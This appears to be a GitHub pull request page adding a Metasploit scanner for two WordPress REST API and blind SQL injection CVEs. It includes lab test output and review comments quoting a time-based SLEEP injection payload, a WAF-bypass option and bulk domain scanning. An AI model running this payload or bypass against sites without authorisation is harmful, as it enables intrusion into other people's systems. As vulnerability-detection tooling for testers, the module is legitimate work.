Skip to content

Add WordPress wp2shell exposure scanner (CVE-2026-63030 + CVE-2026-60137) - #21761

Open
M4xSec wants to merge 1 commit into
rapid7:masterfrom
M4xSec:add-wp-batch-sqli-scanner-cve-2026-63030
Open

Add WordPress wp2shell exposure scanner (CVE-2026-63030 + CVE-2026-60137)#21761
M4xSec wants to merge 1 commit into
rapid7:masterfrom
M4xSec:add-wp-batch-sqli-scanner-cve-2026-63030

Conversation

@M4xSec

@M4xSec M4xSec commented Aug 8, 2026

Copy link
Copy Markdown

Summary

Companion scanner module for the wp2shell exploit (PR #21760). Non-destructive detection of:

  • CVE-2026-63030 — REST API Batch Route Confusion
  • CVE-2026-60137 — Blind SQL Injection via author__not_in

Affects WordPress 6.8.0–6.8.5, 6.9.0–6.9.4, 7.0.0–7.0.1. Fixed in 6.8.6, 6.9.5, 7.0.2.

Features

  • Version fingerprinting with fallback (generator meta tag → RSS feed → REST API)
  • Follows 301/302 redirects for WAF/reverse proxy setups
  • Batch route accessibility check
  • Optional time-based blind SQLi confirmation (CONFIRM_SQLI)
  • Batch file scan mode (TARGET_FILE) — one domain per line, auto DNS resolution + VHOST
  • Cloudflare WAF bypass (colon primer + JSON unicode escaping)

Files

  • modules/auxiliary/scanner/http/wp_wordpress_batch_sqli.rb — scanner module
  • documentation/modules/auxiliary/scanner/http/wp_wordpress_batch_sqli.md — documentation

Verification

Tested against WordPress 6.9.0 Docker lab (with and without ModSecurity WAF):

msf6 > use auxiliary/scanner/http/wp_wordpress_batch_sqli
msf6 auxiliary(scanner/http/wp_wordpress_batch_sqli) > set RHOSTS 127.0.0.1
msf6 auxiliary(scanner/http/wp_wordpress_batch_sqli) > set RPORT 8888
msf6 auxiliary(scanner/http/wp_wordpress_batch_sqli) > set SSL false
msf6 auxiliary(scanner/http/wp_wordpress_batch_sqli) > set VHOST localhost
msf6 auxiliary(scanner/http/wp_wordpress_batch_sqli) > set CONFIRM_SQLI true
msf6 auxiliary(scanner/http/wp_wordpress_batch_sqli) > run

[*]   localhost — SQLi probe: fast=0.045s slow=3.038s delta=2.993s
[+] localhost — WP 6.9.0 — VULNERABLE (RCE, CVE-2026-63030) — SQLi CONFIRMED
[*] Auxiliary module execution completed

WAF bypass (ModSecurity CRS on port 9999):

msf6 auxiliary(scanner/http/wp_wordpress_batch_sqli) > set RPORT 9999
msf6 auxiliary(scanner/http/wp_wordpress_batch_sqli) > set WAF_BYPASS true
msf6 auxiliary(scanner/http/wp_wordpress_batch_sqli) > run

[*]   localhost — SQLi probe: fast=0.052s slow=3.047s delta=2.995s
[+] localhost — WP 6.9.0 — VULNERABLE (RCE, CVE-2026-63030) — SQLi CONFIRMED

Test Environment

Same Docker lab as the exploit module: https://github.com/M4xSec/wp2shell-lab

…137)

Non-destructive scanner for WordPress REST API Batch Route Confusion
and Blind SQLi. Supports single target and batch file scan modes with
optional SQLi timing confirmation and Cloudflare WAF bypass.

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Adds a new Metasploit auxiliary HTTP scanner module to non-destructively detect WP2Shell exposure conditions (REST API batch route accessibility plus optional timing-based SQLi confirmation) and includes end-user documentation under documentation/modules/.

Changes:

  • Introduces auxiliary/scanner/http/wp_wordpress_batch_sqli for WordPress version fingerprinting, batch route probing, and optional SQLi timing confirmation.
  • Adds bulk scan support via TARGET_FILE (one domain/IP per line with DNS resolution + automatic VHOST).
  • Documents setup, options, and usage scenarios for single-target, bulk, and WAF-bypass modes.

Impact Analysis: isolated change; no meaningful downstream impact identified from diff.

Reviewed changes

Copilot reviewed 2 out of 2 changed files in this pull request and generated 4 comments.

File Description
modules/auxiliary/scanner/http/wp_wordpress_batch_sqli.rb New scanner module implementing fingerprinting, batch route check, optional SQLi timing probe, and bulk target-file scanning.
documentation/modules/auxiliary/scanner/http/wp_wordpress_batch_sqli.md New module documentation describing vulnerable ranges, options, and example runs (single, bulk, WAF bypass).

💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.

Comment on lines +60 to +69
def run
if datastore['TARGET_FILE']
run_file_scan
elsif datastore['RHOSTS'].to_s.strip.empty?
print_error("Set RHOSTS for single target or TARGET_FILE for batch scan")
return
else
scan_current_target
end
end
Comment on lines +71 to +83
def run_file_scan
targets = []
File.readlines(datastore['TARGET_FILE']).each do |line|
line = line.strip
next if line.empty? || line.start_with?('#')
targets << line
end

if targets.empty?
print_error("No targets in #{datastore['TARGET_FILE']}")
return
end

Comment on lines +233 to +239
inject = "0) OR (SELECT 1 FROM (SELECT SLEEP(#{seconds}))x)-- -"

if datastore['WAF_BYPASS']
query_path = "/wp/v2/categories?author_exclude=#{inject}"
else
query_path = "/wp/v2/categories?author_exclude=#{Rex::Text.uri_encode(inject)}"
end
Comment on lines +167 to +179
parts = ver.split('.').map(&:to_i)
severity = nil
cve = nil
if parts[0] == 6 && parts[1] == 8 && (parts[2] || 0) <= 5
severity = 'SQLi'
cve = 'CVE-2026-60137'
elsif parts[0] == 6 && parts[1] == 9 && (parts[2] || 0) <= 4
severity = 'RCE'
cve = 'CVE-2026-63030'
elsif parts[0] == 7 && parts[1] == 0 && (parts[2] || 0) <= 1
severity = 'RCE'
cve = 'CVE-2026-63030'
end
@bwatters-r7 bwatters-r7 added the group-review PRs flagged to get a group review during our weekly module hacking meeting. label Aug 24, 2026
@bwatters-r7

Copy link
Copy Markdown
Contributor

I am still not sure WAF bypasses belong in modules, and this does need some work to get it to work as a Metasploit scanner.
See https://docs.metasploit.com/docs/development/developing-modules/guides/how-to-get-started-with-writing-an-auxiliary-module.html#the-msfauxiliaryscanner-mixin

@bwatters-r7

Copy link
Copy Markdown
Contributor

Also, this appears to be a duplicate of #21694, but #21694 is all SQLi?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

group-review PRs flagged to get a group review during our weekly module hacking meeting.

Projects

Status: Todo

Development

Successfully merging this pull request may close these issues.

3 participants